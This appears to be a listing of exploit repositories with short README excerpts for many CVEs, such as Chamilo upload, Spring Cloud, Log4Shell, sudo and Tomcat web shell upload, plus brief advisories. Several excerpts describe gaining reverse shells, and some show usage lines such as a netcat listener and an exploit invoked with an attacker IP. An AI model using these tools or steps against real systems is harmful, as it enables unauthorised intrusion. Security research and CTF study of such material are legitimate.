cve-2016-0728-testbed

CVE-2016-0728 测试平台 该仓库包含一个针对 CVE-2016-0728 的测试程序，这是 Linux 中一个导致释放后使用（use-after-free）的引用计数泄漏与溢出漏洞。 该漏洞由 Perception Point 发现并分析。本人与该团队无关联。 用法 root@kitploit: Welcome to the CVE-2016-0728 testbed sizeofstruct msgmsg == 0x30, sizeofstruct key == 0xb8 PID: 27673, UID: 1000/1000 Keyring: 1b66e5d6,...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念验证 Chamilo LMS 未授权大文件上传漏洞，可导致远程代码执行 此代码专为 HackTheBox CTF PERMX 制作和使用 Chamilo LMS v1.11.24 及更早版本中的大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 存在未授权文件上传漏洞，允许向服务器上传任意文件，从而允许我们上传 PHP 反向 shell 该脚本通过创建 PHP shell 文件、将其上传到服务器并启动 netcat 监听器，从而获取反向 shell 用法: python exploit....

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 Exploit README.md Description This bash script automates the process of scanning for vulnerable MobileIron systems that are susceptible to the CVE-2023-38035 exploit. The script performs multiple checks, including checking for required programs, downloading potential...

CVE-2019-2729_creal

CVE-2019-2729 - creal 在 WebLogic 上利用 CVE-2019-2729 的 PoC 漏洞利用方法 root@kitploit: python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD command -s SH,...

CVE-2018-10933_ssh

CVE-2018-10933 测试此代码： 从主页获取易受攻击的 libssh 版本：https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz 解压并构建，然后进入 example 目录，那里有一个使用 libssh 的简单 sshd 服务器，名称：samplesshd-cb 通过以下命令运行这个简单的 sshd： $ samplesshd-cb 127.0.0.1 -p 2222 运行我的代码，输出将是： Allocated session channel Allocated shell...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： root@kitploit: git clone...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： root@kitploit: $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RC...

php_reverse_shell

Este repositorio no tiene un README...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass 提供了两种获取flag内容的方法： 1. 将其从宿主机复制到容器挂载目录中； 2. 使用反向shell获取它；...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ Importante leer primero Este repositorio contiene una prueba de concepto PoC en Java destinada únicamente para uso en CTF / laboratorio. No ejecute este código contra sistemas que no posea o para los que no tenga un permiso por escrito explícito para probar. La explotación n...

Log4Shell-CVE-2021-44228-ENV

Entorno de reproducción de Log4Shell Descripción del ejemplo IP de la máquina objetivo: 47.47.47.47 IP de la máquina atacante: 48.48.48.48 Ejecutar el Docker vulnerable en la máquina objetivo Usar DockerFile para construir la imagen Docker y ejecutar: root@kitploit: docker build . -t vuln docker...

CVE-2016-6662

CVE-2016-6662 De SQL injection a root shell con CVE-2016-6662 por MaYaSeVeN Prueba de concepto: https://www.youtube.com/watch?v=lyc7GFE3q2U...

CVE-2024-48990-POC

CVE-2024-48990-POC 针对 CVE-2024-48990 与 needrestart 的权限提升漏洞的简单 PoC。 https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 概述 这是在完成 HackTheBox 挑战 'Conversor' 时设计的。稍后会进行一些修改以使其更通用。我只是不喜欢我找到的实现方式，所以决定自己写一个。以后可能会添加更多内容。 注意 ：我可能会在之后更改实现，将其改为直接升级当前会话，而不是创建新的反向 shell。 用法 这是一个自动执行漏洞利用的 bash...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit Un exploit para obtener root en vsftpd 2.3.4 CVE-2011-2523 escrito en python Uso: ./exploit.py $VictimIPaddress ¡Atención! El exploit abre una shell que no es reversa. Recomiendo abrir una reverse shell después del exploit. No lo hice aquí porque no quería asumir qué tipo de...

CVE-2021-3156-plus

CVE-2021-3156 这是一个基于 @CptGibbon 修改的仓库，支持任意命令执行。 相关阅读：CVE-2021-3156 - Exploit修改 CVE-2021-3156 的 Root shell PoC（无需暴力破解） 仅用于教育目的等。 已测试环境： @CptGibbon 的 Ubuntu 20.04，针对 sudo 1.8.31 @Rvn0xsy 的 Ubuntu 17.10 所有研究功劳：Qualys 研究团队 请在他们的博客上查看详细信息。 你可以使用以下命令检查你的 sudo 版本是否易受攻击：$ sudoedit -s Y。...

CVE-2025-24813-POC

JSP Web Shell 上传器 一个简单的 Python 工具，用于通过 HTTP PUT 请求将一个基础的 JSP Web Shell 上传到一个或多个目标。 ⚠️ 仅用于教育和授权的渗透测试。 Apache Tomcat 存在路径等价/路径遍历漏洞，原因是未正确处理路径中的 ../ 序列。 CVE ID: CVE-2025-24813 Severity: 严重 Reference link: https://github.com/advisories/GHSA-83qj-6fr2-vhqg 🧰 功能 上传一个具有命令执行能力的基础 JSP Shell 支持： 单个目标 -t...

CVE-2026-35867

A command injection vulnerability in the bs_SetLimitCli_info function of the libshare.so library affects the LB-LINK router AC1900_AZ2 V1.0.2 . The flaw allows an attacker on the adjacent network to inject shell metacharacters via a POST /goform/set_LimitClient_cfg request, even without administr...

CVE-2026-35867

A Command Injection vulnerability exists in the bsSetLimitCliinfo function within the libshare.so library of the LB-LINK router AC1900AZ2 V1.0.2 via shell metacharacters, if the device is deployed in a scenario where an actor is able to make a "POST /goform/setLimitClientcfg" call but does not...

PT-2026-90837

A high severity remote code execution flaw in Spug through version 3.4.0 enables authenticated users with monitor permissions to execute arbitrary commands on the host system. Key Points: CVE-2026-90770 affects Spug versions up to and including 3.4.0 with a CVSS score of 8.8. The vulnerability...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: emacs (UTSA-2023-000605)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2023-000605 advisory. GNU Emacs through 28.2 allows attackers to execute commands via shell metacharacters in the name of a source-code file, because lib-src/etags.c uses the system C...